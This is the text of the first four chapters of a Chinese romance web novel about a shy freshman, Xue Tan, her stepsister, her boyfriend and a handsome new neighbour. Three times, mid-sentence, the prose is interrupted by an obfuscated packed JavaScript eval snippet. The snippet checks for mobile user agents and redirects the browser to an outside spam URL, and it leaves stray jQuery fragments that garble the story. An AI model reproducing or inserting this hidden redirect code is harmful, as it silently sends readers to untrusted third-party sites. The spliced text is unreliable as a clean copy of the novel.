《我只是太爱你了》 1. 第1章 太阳高挂在九月份无云的晴朗天空,头顶刺耳的蝉鸣声在闷热的环境中响个不停,让人更加烦躁。洋溢在来来往往的大一新生脸上充满希望的笑容成功让这火炉一样的环境变得轻松起来。 高中时候的旧校服平铺在热腾腾的地上,躲在树荫底下的薛谭安静地坐在上面,面无表情地看着鞋子旁边正在搬运食物残渣的蚂蚁。学院发的入学礼物被放在一旁——只是把新生资料和学校小吃街广告装在一起的纸袋和一个印着学院logo的单肩包。 薛谭从口袋里掏出巧克力,掰掉微小的一块放在蚂蚁小队的前方,然而途径于此的蚂蚁们却好像什么都没有感觉到,继续整齐有序的向着她不知道的方向前进。 果然很讨厌她吧,无论是蚂蚁还是万晨露。 万晨露是薛谭的继姐,本来今天是和薛谭一起进行新生报到的,但是现在不知道为什么突然不见了。 是因为工作太忙被叫走了吗?还是因为根本不想和她这个继妹待在一起所以提前走了?既然没有办法保证陪着她,一开始就不要提出来和自己一起来学校嘛,毕竟她也不是很需要有人陪。 尽管这么想着,薛谭依旧没有从这里离开。 不知道过了多久,地上的蚂蚁都已经回家了,薛谭才从不远处听到熟悉的女声。 “薛谭!” 薛谭心脏一空,立刻从地上站起来,却因为动作太快眼前一阵发黑。她头晕眼花地向后踉跄两步,结果不小心踩到了地上的衣服,直接左脚绊右脚要摔在地上,还是万晨露眼疾手快连忙扶着薛谭,这才使得她不至于在开学第一天就磕的头破血流。 “中暑了这是?”万晨露将瘦弱的女孩搂在怀里,拍了拍她地脸。 不,根本没有中暑。视野很快恢复清明的薛谭,首先看见的便是万晨露那张放大的脸,她吓了一跳,赶忙从女人怀里出来,低下头道歉:“抱、抱歉,晨露姐。” 万晨露没说什么,将地上的脏衣服捡起来后扔到垃圾箱,又递给薛谭一瓶水:“刚才去买水了,超市里人很多,所以花的时间比较长。” 薛谭愣了一下,反应过来女人是在解释为什么一直没有回来后,她脸一红,更加紧张了:“噢,好的......谢谢晨露姐!”救命,她看起来很不开心吗?晨露姐不会觉得她是个脾气很大的人吧...... 余光瞥见万晨露手里拎着的塑料袋里有一个空了的瓶子后,薛谭拧开水慢吞吞喝了几口。 “再多喝点,你嘴巴都干的起皮了。”万晨露从地上捡起薛谭的入学礼物,打开纸袋从里面翻出几张有用的纸后快速浏览浏览一遍,又拿出手机拍了几张照后才把它们装好还给薛谭。 欸?都起皮了吗?薛谭接过纸袋和单肩包,有些无措地摸了摸自己的嘴唇。 “算了,喝不喝随便你。”万晨露转了一圈手上的钥匙,四处望了望,提议:“先去你们食堂吃个午饭吧。” 矿泉水瓶被薛谭捏的发出一下噼啪声,她立马抬起头不安地看向女人,在发现万晨露并没有注意到这微小的动静后,暗自松了口气。接下来的几个小时里,薛谭一直小心翼翼地和女人相处着,尽量控制自己不要做出会让万晨露不喜欢的动作或者行为。 因为她真的很想和这个姐姐搞好关系。 或许是因为万晨露和母亲薛韵很像——并不是说她们长得有多么相似,而是指这两个女人都散发着一种冷静、自信和无畏的气势,这使得薛谭十三岁第一次见到万晨露时,内心难以自抑地对她产生了向往之情。 薛韵的学历不高,性子要强的她在和食品公司老板万林鹏结婚后几乎每天都有学不完的东西和做不完的事。熟知这一点的薛谭尽管有些惧怕万晨露,却还是在女人提出来要和自己一起来大学报到时,毫不犹豫地同意了。因为她不想让母亲为难。 “自己一个人住公寓不害怕吗?”万晨露开车带着薛谭学校对面的小区里,那里有一套薛韵给薛谭买的小公寓。 薛谭性格内向不擅长社交,作息又非常不规律,熟知女儿生活习惯的薛韵在薛谭提议在外面租房子时,大手一挥给她在学校对面买了一套公寓。 她下意识抬起头往万晨露那边撇了一眼,却一下对上了女人那双沉静的眸子,她愣了一下,赶忙转回头小声说:“和别的人住在一起才更害怕。” “是吗。”万晨露没有在乎这个妹妹显然不健康的发言,说到底两人也不怎么熟悉,甚至因为她母亲的原因两人之间应该更差些的竞争关系才对,只不过这个女孩被她母亲保护的太好了,没有一点危险意识。 万晨露沉默地坐在车里看着女孩走向楼内的背影,直到再也看不见后,才掏出手机翻到女孩的聊天界面:【有事随时和我联系。】 最顶端的“薛谭”二字很快变为“正在输入”的字样,她就这么托着手机等了两分钟,直到嘀嗒一声女孩黑色小猫的头像旁边才弹出来两个字:【好的!!!】 嘴角下意识勾起,万晨露轻笑一声关掉手机驶离这里,却不知另一边的薛谭早已经抱着手机在电梯里无声尖叫。 啊啊啊天呐,晨露姐真的好温柔好细心!明明自己只是关系不太好的继妹,却还是能够得到她那么慷慨地帮助,感觉自己一直以来都误会这个继姐了呢。 说不定万晨露根本不讨厌薛谭,反而非常喜欢她呢! 尽管只是不切实际的幻想,但薛谭整个人还是因为这个念头的出现而变得肉眼可见地欢快起来。薛谭从口袋里掏出来吊着各种各样挂件的钥匙,劈里啪啦的声音因为她开门的动作回荡在安静的走廊里。 一室一厅的小屋子被收拾得干净整洁,多到数不清的小玩偶有序地堆积在沙发和随手可见的小桌子上。薛谭脱掉鞋走进去,脱力一般倒在柔软的沙发里,瞬间就被满沙发的玩偶给淹没。 这些玩偶大部分都是薛谭的男朋友孟文霖做的,有些是现实生活里可爱的小动物小植物,有些则是薛谭梦里面那些稀奇古怪的东西。比如她现在抱在怀里的前后左右各缝制有一块长耳朵的黑色大毛球,就是梦里面被薛谭打败的邪恶怪物。 薛谭和孟文霖在很小的时候就已经认识了,他们是真正意义上的一起长大。从小学到初中再到高中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461473|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们一直待在同一个班。如果不是因为薛谭不想和孟文霖待在一个城市里,他们大学哪怕不是一个班级,至少也是同一个学校同一个专业。这并不是因为两人多么有缘分,只是因为他们成绩都很好,所以每次都是被分到了一个年级里最优秀的那个班级。 高考完两人大吵了一架,愤怒至极地薛谭强硬地要求孟文霖换一个城市的大学,绝对不能再每天围在她的身边,否则就分手。她还记得那天孟文霖自己躲在家里面哭了很久,好看的桃花眼都哭成桃子了,最后在她的冷漠注视下把志愿改掉了。 出发去另外一个城市上大学前,少男特意前来为薛谭将公寓从头到尾布置了一遍,还将从前做的玩偶全部拿了过了,美其名曰“让她们代替我陪在谭谭身边”。 想到这里,薛谭终于打开手机将自己那位“消失”已久的男朋友从黑名单里放了出来,她手速很快地将今天和万晨露发生的事情和对面讲了一边,那边立刻来了回复。 【桃桃!】 【哇塞,桃桃好棒喔,竟然能和晨露姐相处地那么愉快,真的好羡慕呀!什么时候我也能得到晨露姐地认可就好了,感觉她不太喜欢我呢。】【猫猫流泪jpg.】 【你们学校的饭好吃吗?我们学校的饭感觉还不错欸,我会在这边好好学习好吃的菜,以后就可以做给桃桃吃啦~】 【感觉晨露姐很喜欢桃桃呢,毕竟桃桃全世界最可爱的女孩嘛!晨露姐就是面冷心热,虽然看上去对桃桃不是很亲近的样子,但其实很关心桃桃嘛!】 【桃桃自己一个人住在那里我真的超不放心的,如果有什么事一定要和晨露姐和薛阿姨说啊,另外也和我这个可怜的男朋友说一下好嘛?】【真诚眼jpg.】 ...... “桃桃”是薛谭的小名。 薛韵起这个名字的原因很简单,小时候有次买了桃回来,薛谭很开心地抱着一颗大桃子在院子里吃,当时正好薛韵有事出门叫薛谭,张口的“谭”字在见到小女孩手里香甜的桃子后,脱口而出“桃桃”。于是薛谭成功在严肃的母亲那里获得了一个可爱得有些过头的小名——桃桃。 大概是因为被拉黑太久很久没有聊天,从花式彩虹屁到介绍自己那边的生活,孟文霖一下子给薛谭发了很多消息。 薛谭从头到尾看了一遍,没有一一回复,只是发了一句【好哦】就去厨房做饭了。 冰箱上贴着许多可爱的贴纸,中间有一个最大的绿色便签,上面用黑色记号笔写着“不要睡过头!”五个大字。 薛谭有着很奇怪的生活习惯,一方面她做的饭菜虽然不好吃,但是都非常健康,每天该补充的营养一点也不会少;另一方面,她几乎过着昼夜颠倒的生活。除了之前上学的时候强制白天学习晚上睡觉,其余时候薛谭每天都会熬夜或是通宵打游戏,第二天一觉睡到下午四五点,醒过来给自己做一顿健康又有营养的饭,然后继续开始打游戏。 薛谭盯着几个大字,眨了眨眼睛,而后拿出手机看了一下班级群里的消息,通知明天早上十点要开班会。 真不想去啊。 2. 第 2 章 第二天早上,打了大半晚游戏的薛谭被不知道是第几个闹铃叫醒,她迷迷糊糊打开手机,发现才八点半。 八点半起床,九点钟吃饭,九点半出发去学校。在心中计算了一下时间,薛谭很快翻身起床,她先去厨房把饭煮上,然后才开始换衣服洗漱。 薛谭是一个无论做什么事情都非常有毅力的人,比如昨天之所以睡那么晚就是打游戏时有个关卡一直过不去,她不断重开摸索技巧,直到成功通关后才去睡觉。 镜子里将长发绑成低马尾的少女面色惨白,眼底青黑,看上去像是个八百年没有吸取精气的女鬼。薛谭紧紧盯着镜子里阴郁的脸,深呼吸一口气,努力牵起嘴角露出一个勉强的笑容—— 看上去更可怕了啊喂! 因为在镜子前练习微笑花费的时间比较久,等薛谭赶到开班会的教室时,已经九点五十八了。 空荡荡的教室中间做了二十几个人,大部分都在低头玩手机。她站在外面踟蹰片刻,最终还是因为担心自己一个人坐在后面会过分突兀,于是选择了教室中间靠窗一个没人的位置。 隔了一条过道的女孩因为她的突然到来抬头看过来,在与薛谭对上视线后露出一个友好的笑容就继续低下头玩手机了。 糟糕,太紧张忘记朝新同学笑了。 明明已经下定决心改变从前阴沉孤僻的样子,今天早上出门前还特意练习那么久,结果出门一见到陌生人还是紧张地什么反应都做不出来了。 她无比懊恼地捶打着自己的头,讲台上小导讲的话一点也没有听进去,直到一声“下面开始按照学号进行自我介绍”才终于将沉浸在自己世界的薛谭拉回现实。 呼—— 薛谭深呼吸一口气,既然和旁边那位同学的初次见面已经被自己搞毁了,那么接下来的自我介绍一定要好好表现,争取给班级里的女生们留个好印象。 她抬起头认真看着讲台上同学们的自我介绍,大部分都是“姓名+家乡介绍+爱好”,偶尔会有几个活泼开朗的同学会说一些别的话。 她应该说些什么呢? “大家好,我叫薛谭,来自z市,喜欢打游戏......” ——不不不,绝对不行!打游戏这种爱好虽然也很大众就是了,但她可是立志要做一个紧跟潮流阳光开朗的现充,一定要说一个大家都喜欢并且能够接受的爱好才对吧,比如唱歌、跳舞、逛街...... 可是她根本不了解这些啊!万一到时候被人发现她既不会唱歌跳舞也不怎么逛街,会不会觉得她是个骗子呢? ——然而事实证明是薛谭想多了,因为大学根本不会有人在意陌生同学的自我介绍,小导安排这一项不过是走个过场而已。就像薛谭除了多注意了一下自己旁边那个女生的自我介绍外,其他人的哪怕认真看了也是转眼就忘。 她麻木地回想起自己刚才在讲台上说完“来自z市”后就匆忙下台的样子,不禁庆幸自己选择了住在外面而不是和舍友们住在一起。她果然不适合和别人打交道。 在很快认清楚大学同学真的只能是同学,不会成为朋友这一点后,薛谭立刻对这场班会失去了兴趣。手机里孟文霖的消息弹出来,是在问薛谭班会怎么样,要不要打算竞选班委。 薛谭支着头掀起眼皮瞥了一眼黑板上排成一列的名字,回复:【我不行的。】 那边秒回:【桃桃那么优秀,做事情也那么认真,如果真的当上了班委一定会很受大家的喜爱的。不过我在网上查了一下,大学班委确实很忙欸,桃桃如果不愿意竞选就算啦,毕竟桃桃每天也有很多事情要做的对吧。】 孟文霖从不吝啬于对薛谭的称赞,在他眼中薛谭就是全世界最棒的女孩,哪怕面对薛谭自我厌弃的发言,也会不厌其烦地认真纠正,直言“桃桃很优秀”。 这也是为什么孤僻的薛谭能够忍受男孩跟在自己身后十几年的原因。用网上的话来说,薛谭是一个非常玻璃心又容易内耗的人,她根本没有办法接受别人的指责与否定,一旦看到身边的人朝自己露出失望的表情,她的一颗心也会随之跌落谷底。 因此哪怕明白孟文霖说这些话只不过是因为喜欢自己,薛谭还是忍不住沉迷,好像只要和他在一起,她真的成为了一个不那么糟糕的人。 宿舍群里弹来消息,是其中一位舍友竞选了文艺委员来拉票的。薛谭看到消息立刻将舍友的名字与黑板上的名字对照了一下,确认没有问题后打开班级群里发的投票,在文艺委员那一项选了舍友的名字。 选完后,她又打开班长的投票页面,发现那个与自己仅隔了一条过道的女声也竞选班长了,是叫什么来着......卓钦?是这个吧。 下午三点钟需要到学校生活广场的国旗杆下面领取军训服,薛谭不住宿舍又懒得回家,于是在食堂吃过午饭后就买了杯咖啡准备到图书馆待着。 薛谭经常熬到大半夜,高中和高考完的暑假里需要早起时却一点也不含糊,这就导致了她平时睡眠严重不足,没有咖啡简直活不下去。 z大绿化做的很好,随处可见的绿树和灌木丛令这座汇集万千优秀学子的校园充溢着令人放松的芳香。尤其是从生活广场来到图书馆的这条路,曲折蜿蜒的木板小桥铺在清澈的人工小湖上,时不时侧身让路地走过湖面再次踏足石砖陆地时,满目的翠绿汹涌而来。 天朗气清,树荫幽幽,薛谭被一场班会拉紧的思绪在水木清华中彻底放松下来。 冰咖啡杯壁上凝结一层水汽打湿了薛谭的手掌,她并未在意,就让水滴顺着掌心低落在地面,慢悠悠地踱步于无人的林间小道。 熬夜带来的头疼与间歇性耳鸣被自然清香赶得无影无踪,郁郁葱葱的树冠间传来鸟雀清脆尖细的私语,其中短暂间隙中偶尔传来几声微不可察的猫叫。 薛谭漫无目的闲逛的脚步顿住,原地停留片刻后毫不犹豫转了个弯朝着传来“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461474|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喵喵”叫声音的方向走去。 本来就是为了打发时间,到图书馆看书与在外面看猫也没什么区别。 薛谭很喜欢动物,无论是天上飞的路上跑的,还是海里面游的,她都很喜欢。平时打开电脑要么打游戏有么就是看动物世界的纪录片。 她喜欢猫,并不是因为猫咪是人类普遍喜欢的宠物,仅仅因为猫是可以令人静下心来什么都不用去思考的动物。在薛谭眼中,城市里随处可见的宠物猫狗与草原上奔腾的狮子猎豹没有任何区别。 她轻手轻脚来到高度只到腰间的灌木丛前,脑子里盘算着该如何在不打扰那只猫的情况下接近它,却不想拨开面前层层交叠的翠绿,首先闯入视野的竟然是一个少男。 那是薛谭这辈子见过最俊美的脸庞。 金色的日光被晃动的树叶剪碎,斑驳光影打在温润清雅的少男身上,他蹲在地上,怀里抱着猫,突然的动静让他抬头望来,没有丝毫的惊奇与慌乱,只是从容一笑。 只是从容一笑,艳阳高照,夏树苍翠,全部黯然失色,天地间好似只有他那顾盼生辉的眉眼。 “啪——” 咖啡摔落在地上,怔愣的薛谭不受控制地后退一步。 少男抱着猫站起来,似乎说了什么话,然而薛谭现在除了眼睛以外的一切感官都好像闭合了,脑子里只能装下他那张帅到惨绝人寰的脸。 少男弯腰小心将猫放在地上,小猫立即发出一声尖利的叫声跑向薛谭的脚边,她吓了一跳,再次后退两步躲避。 薛谭慌乱的视线在温和的男生与脚下瑟瑟发抖的猫咪之间移动,陌生的怯意突然包裹全身。她拾起地上的塑料杯子扔进垃圾桶,转身头也不回快速离开了这里。 学校图书馆为了防止外人进入,需要学生先登记信息后扫脸进入。薛谭走进图书馆后,半倚在冰冷的墙面上,一串学号抖着手打了几遍都没写对。 图书馆空调开的很足,她感觉自己像是从火炉一下子来到了冰窖,明明皮肤烫的不行,心底却止不住地犯冷。 那个男生,真是太耀眼了。 满脑子都是他从容淡定的笑容,薛谭终于放弃输入信息,抬手捂住热乎乎的脸颊顺着墙面蹲在地上。 他是那么地美丽——帅气的脸蛋,温润的气质,从容淡定的笑容。 是薛谭绝不可能成为的存在,也是薛谭最向往的样子。 她埋着头安静地蹲在角落里,最初的惊艳过后,脸上的热意逐渐褪去,右手懵懵懂懂向下滑落,停留在左胸口的位置。 失落的、酸涩的,急需要什么东西来填补的。 薛谭愣愣地垂眸盯着地面,她需要什么? “同学?请问需要帮忙吗?” 温和的询问在头顶响起,好温柔的声音啊。 她缓缓抬起头,空荡荡的心脏一瞬间住满了蹦蹦跳跳的小鹿,扑通扑通响个不停。 是刚才那个男生。 3. 第 3 章 薛谭从来不是一个勇敢的人,在许多人——包括薛韵眼中,她都胆小得过分。不敢主动和别的女孩交朋友,不敢提出自己的要求,甚至连和陌生人讲话都会害怕到发抖。 熟悉的人除了亲生母亲薛韵以外就是从小到大死皮赖脸跟在自己身后的孟文霖。薛谭倒不是没有想过改变自己唯唯诺诺的样子,只是每次主动出击都会因为半路过于担忧失败而换来更加糟糕的结果。 双手握紧又松开,眼前的少男甚至因为过于耀眼而在她的视野里模糊了样貌。 还是算了。 脸上的热意逐渐褪去,被层层包裹在内心深处的冰冷开始包裹全身。薛谭没有说话,失落地低下头。 本就安静的图书馆在她耳边更加沉默了,过了很久——又或许只有几秒钟的时间,少男双手撑在膝盖上,微微弯下腰,小声说:“如果不舒服可以去医务室,沿着外面的路一直往东走就到了。” 声音干净清冽,好似微风拂过明洞山涧,让人在炎炎暑日不自觉放松下来。 内心有一瞬间的挣扎,但薛谭还是默默蹲在那里,等到男孩转身径直离开图书馆后才缓缓站起来。 看书的心情和时间都没有了,薛谭最后是在一楼大门旁白的长椅上打游戏度过了这一个小时。等到时间差不多了,她才慢悠悠起身前往生活广场,面上一片平静,丝毫不见刚才的失落。 z大的军训时间是z市所有大学中最长的,领取军训服时同学们都唉声叹气的。评选为班委的几个人一起买了两提水,在和大二的小导分发军训服时一起递给大家。 人和人的差距还真是大呢,同样是十八岁,薛谭连见到新同学都能紧张到忘了练习一早上的微笑,有的人却已经能够像“大人”一样说话做事,独当一面了。 这样优秀的同龄人,说不羡慕是假的。只是对于薛谭来说,主动出击是比偏安一隅要难上百倍的事情,与其花费精力与心思努力向着羡慕的人靠拢,倒不如在自己的世界里做好自己的事情。 明天就开始军训了,薛谭傍晚回到家后特意在小区运动场上跑了几圈活动筋骨。她虽然因为睡眠不足总是惨白着一张脸,身体素质却十分能打,甚至中学的时候还代表学校参加过市马拉松比赛。 九月份的z市还很炎热,尽情张开全身毛孔运动完的薛谭感觉这几天所有的负面情绪都随着汗水排出了体内。她称得上是神清气爽地从跑道上下来,打开包拿出水咕嘟咕嘟灌了半瓶,而后打开手机,发现孟文霖六分钟前刚打来一个电话。 她将东西收拾好装进包里拎上,同时拨回电话。 那边立刻接通,孟文霖帅气欢快的脸庞出现在屏幕:“桃桃!”他笑了一下,优越的面部轮廓因此柔和下来,原本很有冲击力的脸多了几分温柔:“刚才给桃桃打电话没人接,就猜到桃桃在跑步。明天就要军训了,紧不紧张呀?” 薛谭慢悠悠往回走,“不紧张。” “哈哈。”爽朗的笑声从手机里传出来,“不愧是桃桃,真厉害呢!我昨天还在想要不要等桃桃军训的时候去探望一下呢。” 听出来少男语气中的试探,薛谭没有回应。孟文霖当初报考外地大学时就不情不愿的,临走前还状似无意地提过好几回周末回来z市找薛谭,但都被她义正言辞拒绝了,并且表示如果孟文霖不经过同意擅自来找她的话就分手。 没错,薛谭不喜欢和孟文霖待在一起。 她喜欢孟文霖,但是不想和孟文霖一直待在一起。看似矛盾的话对薛谭来说在正常不过了,因为她不想和孟文霖一直绑在一起。 孟文霖很优秀,他长相帅气,成绩好,性格也阳光开朗很受大家的欢迎。毫不夸张的说,上到校长主任,下到班上所有同学,就连食堂阿姨都很喜欢孟文霖。 令薛谭印象最深的就是,高二的时候有一节历史课,平时站在讲台上严肃的小老头特意因为孟文霖之前说的一句听不太清买了麦克风,还特意弯下腰笑着问坐在第二排的孟文霖能不能听清楚。明明教室有□□排的学生,他却只问了坐在前排的孟文霖,后面的同学根本不去关心。 而坐在最后一排的薛谭愣愣地看着笑得阳光灿烂的孟文霖和历史老师轻松地聊天,心里是难以自抑的嫉妒。 作为青梅竹马的薛谭和孟文霖,两人从小到大都是绑在一起的。因为孟文霖这个闪闪发光的人存在,本就孤僻不起眼的薛谭变得更加透明了,甚至还有不少男生私下里议论“孟文霖这样优秀的人怎么会和薛谭做朋友”。 这些充满怀疑和鄙视的话语让神经敏感的薛谭几乎难以忍受。 他太完美了,所以薛谭喜欢他,所以薛谭迫不及待想要和分开。 薛谭发呆时,粘腻的叫声从手机里传出来:“桃桃......” 视线落回屏幕—— 孟文霖运动细胞比薛谭还要发达,浓眉弯起,随之耀眼起来的是那双饱含深情的桃花眼,高挺的鼻梁与突出的眉弓是薛谭看着他侧脸发呆时都忍不住感叹的漂亮。 视线在男孩过于帅气的脸庞上停留两秒,下移,白花花的胸肌立刻十分上道地占据了整个屏幕。 孟文霖举着手机,另一只骨节分明的手掌轻轻覆上饱满的胸肌,两块线条流畅的肌肉挤在一起,让人浮想联翩。 薛谭勾起嘴角,难得露出了一点笑意。她倚在电梯上,好整以暇地观赏着屏幕里男友的搔首弄姿。 “叮——”电梯发出一声轻响。 薛谭下意识抬起头,见还没到自己的所在的楼层便将注意力放回手机上,下一秒像是突然反应过来一般猛地抬头看向电梯口。 正打算进来的男生看见薛谭后明显愣了一下,随即露出温和的笑容,冲她点点头后走进来。 是下午那个男生。 薛谭目光一直跟随着他移动,从电梯口到身边,都目不转睛地盯着他。直到两道声音同时在封闭的电梯里响起—— “你好?” “桃桃?” 她满心满眼都是眼前的男生,被手机里骤然传出来的声音吓了一跳,赶紧把电话挂断。两道声音也好似将她从沉溺的美丽中拉回现实,她转回头不再一直盯着人家看,犹豫两秒还是小声回应:“你好。” “今天还好吗?”柔和的气质自然而然从少男身上流露出来,冰冷的电梯里好似充斥着诱惑人心的芬芳,连薛谭这样阴暗的人站在他身边都能感受到宛若晨光的温暖。 什么还好吗。 薛谭反应了一会儿,才后知后觉意识到他是在问今天下午自己有没有不舒服。 “没有,我很好,谢谢关心。”薛谭小幅度移动脚步往角落里缩了缩。 少男似乎笑了一下,薛谭并不能确定,只听到他好听的声音响起在耳边:“你也住在十五楼吗?好巧,我们是邻居呢。” 欸? 像是为了印证他的话,电梯十分赶巧地在此时打开,少男伸出一只手对薛谭做了一个“请”的动作,然后保持一定距离地跟着她走出去。 这栋楼房一层只有两户。 少男在廊道中央站定,笑着说:“我是盛晚,盛装出场的盛,晚风的晚。很高兴和你成为邻居,以后还请多多指教了。” 最后一点余晖透过走廊尽头的窗户闯进来,轻柔地包裹着温雅矜贵的少男。闷热的秋风从薛谭身后吹来,令她无所适从。 两人对上视线,少男脸上是轻松从容的笑意。薛谭连忙低头躲过,装作忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461475|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碌地打开包在一堆乱七八糟的东西里寻找钥匙,匆匆一句“我叫薛谭”后,终于打开门挤进去,然后砰的一声关上。 盛晚。 倚在门上的薛谭在心底默念这个名字,鬼使神差地,她点开业主群成员列表,忽略各式各样的网名,在搜索栏输入“盛晚”两个字。果不其然跳出来一个白色猫猫头像。 她盯着手机,蓝光倒映在漆黑的瞳孔中反射出冰冷的光芒。眨了眨眼,薛谭上下划了两下,然后点开他的头像放大去看。 和自己的头像一模一样,卡通小猫缩在右下角仰头看天,只不过薛谭的是黑猫白背景,盛晚的则是白猫黑背景。 什么啊,那么巧的嘛。 说不上来的奇怪逐渐取代薛谭见到盛晚时激动的心情,她犹疑片刻,还是转过身透过猫眼看向对门。 夕阳落尽,黑暗彻底占据走廊,方才好似充斥着温暖光芒的自我介绍如恍惚间的梦,乍然惊醒,徒留孤寂的阴影肆意蔓延。 深夜里,窝在沙发里的薛谭难得没有打游戏,她静静抱着玩偶,目不转睛地看着平板里的动物纪录片。 斑斓缠绕的蜘蛛无比耐心地编织出柔软的网,五颜六色的躯体随着夜幕的降临一点点隐匿在黑暗中。它潜伏在自己的领地中,月光下洁白细腻的蛛丝散发出迷人的吸引力,它万无一失地准备完毕,就那么静静等待着,注视着猎物落入陷阱。 不知为何,薛谭突然不想继续看下去了。 她关掉视频打开手机,孟文霖晚饭的时候给她发了好几条消息,大概是在问怎么突然挂电话了,又关心她是不是遇到什么事了。 薛谭发消息:【没事。】 没想到深更半夜那边也是秒回;【桃桃!你今天突然挂电话真是吓坏我了,是突然发生什么事了嘛?】 薛谭在键盘上敲了一会,最后因为不知道该怎么说又全部删掉了。她闭上眼睛深呼吸两口气,而后快速点开业主群找到“盛晚”然后点击添加到通讯录。 盛晚那边也是立刻通过,很快弹出消息;【你好呀】 薛谭没有回复,而是点开他的朋友圈翻了一下,都是些风景旅游照,最上面一条是今天下午刚发的,文案是“好幸福啊,见到了你”,配上一张手抚摸蜷缩身体的猫咪的图片。 是下午在图书馆门口的那只猫。 照片上的手掌白皙修长,骨节分明,淡青色的血管顺着手指的方向延展,却丝毫不会给人生理的不适感,只会叫人觉得这是最完美的艺术品。而食指与中指骨节交接处一颗淡淡的红痣则为他本就无可挑剔的左手增添了一份魅惑。 薛谭默默保存了这张照片,然后返回聊天界面:【你好,我是薛谭。】 【我知道的喔,看到这个头像时就想着会不会是你,所以就同意了,原来同学你也很喜欢小猫呀】 【对。】薛谭简短回答了对面的问题后,很快发出新的消息:【你怎么睡那么晚?】 这样的问题对于两个刚刚认识的人来说有点冒昧了。薛谭心想,等再问一个问题,他要是因为自己没有礼貌而疏远的话,她也不会再发消息打扰他了。 【因为在做手工哦】随着消息发过来了一张照片。 昏黄的灯光下,依旧是白玉一般的手掌,手掌下面是一只黑色的猫猫玩偶。 那边紧接着传来消息:【欸?才发现这只玩偶和你的头像很像欸,今天晚上就能做完了,明天我送给你吧】 薛谭打出“你有”两个字后停住,又点开了那张左手抚摸黑猫玩偶的照片,看了几秒后返回去,将原来的两个字删去,重新打:【你有女朋友吗?】 这句话的心思昭然若揭。 那边秒回:【没有喔】 4. 第 4 章 薛谭从今天起就要开始军训了,为期四个周,军训完正好赶上国庆假期。 今天煎的鸡蛋有点糊了,她把两片鸡蛋夹进馒头里,一边大口吃着,一边把昨天动物纪录片剩的那一点给看完。 门铃突然响起,因为熬夜而脑袋像生锈齿轮一样迟钝的薛谭停顿两秒,后知后觉反应过来应该是盛晚来给自己送那只黑猫玩偶。 她将剩下一点馒头塞进嘴里,抽出纸巾擦擦手上的油,起身给新邻居开门。 美丽的少男随着开门的动作完全展露在面前,一大清早就遭受美颜暴击的薛谭觉得自己霎时间精神百倍,晚睡早起的困意都像是被炎炎夏日的清凉河水洗刷殆尽,好心情第一次如此具象化地涌上心头,表露在脸上。 “早上好。”薛谭鼓起勇气主动打招呼,在确认他没有女朋友和喜欢的人后,她终于不再像昨天下午那样紧张了。 盛晚微微一笑,冷白的皮肤与黑曜石一般的瞳孔并未因为它们过于纯粹的色彩而显得冰冷,反而被他嘴角和煦的笑容冲散,只让人觉得四月春风拂面,胸口浊气尽散。 他伸出手将黑猫玩偶递过来:“早上好,这是见面礼,希望我的新邻居不要嫌弃。” 直到盛晚开口说话,薛谭的视线才从那张宛如被天使吻过的完美面庞上移开,注意到他竟然也穿着灰扑扑的迷彩服。 是漂亮到只能让人注意到脸蛋的程度啊。哪怕他穿着武侠小说里乞丐的衣服,薛谭觉得自己依旧会被他惊艳到。 她不由自主后退一步,更加全面地欣赏起眼前美貌绝伦的少男。 连迷彩服都能穿得如此矜贵清雅,帅到无可挑剔。 少男显然误会了薛谭后退一步的动作,以为是她不喜欢自己做的玩偶。失落一闪而过,明明极为浅淡且又被主人很好地隐藏起来,却还是令每一个短暂捕捉到的人为之心碎。 薛谭从未对一个男生如此殷勤。 她立刻从盛晚手里接过玩偶,但还是不敢直视陌生人,于是略微偏过头:“谢谢,我很喜欢。” 这只黑猫玩偶和薛谭头差不多大,皮毛柔软光滑,摸起来很舒服。她扣了一下圆滚滚脑袋上的两颗黑色眼珠,不知道是什么材质,漆黑如墨,触手冰凉。 “你——” “你——” 两人同时开口,视线不可避免地碰撞在一起。薛谭颇为艰难地控制着自己不去躲开,虚虚望着盛晚笑意更浓的眸子,“你,你吃饭了没?” 如果吃过饭了薛谭就邀请他来家里坐一会,等下一起去学校。如果还没吃饭那就算了,她可不想等他吃饭。 盛晚好像眨了一下眼,笑着说:“吃过了,等会要不要一起去学校?” 嘴角笑意扩大,这真的是个很符合自己审美的少男。薛谭后退一步拉开门:“进来坐一会吧。” 盛晚是一个很有礼貌和教养的人,并未因为薛谭的盛情邀请就贸然进入一个女生的家,他很开心地谢过薛谭对他释放的热情后,温柔地表示自己还需要在回去涂一下防晒,就不进来了。 这让薛谭感到十分欣慰。像盛晚这样的顶级美貌,自然需要好好保养呵护。 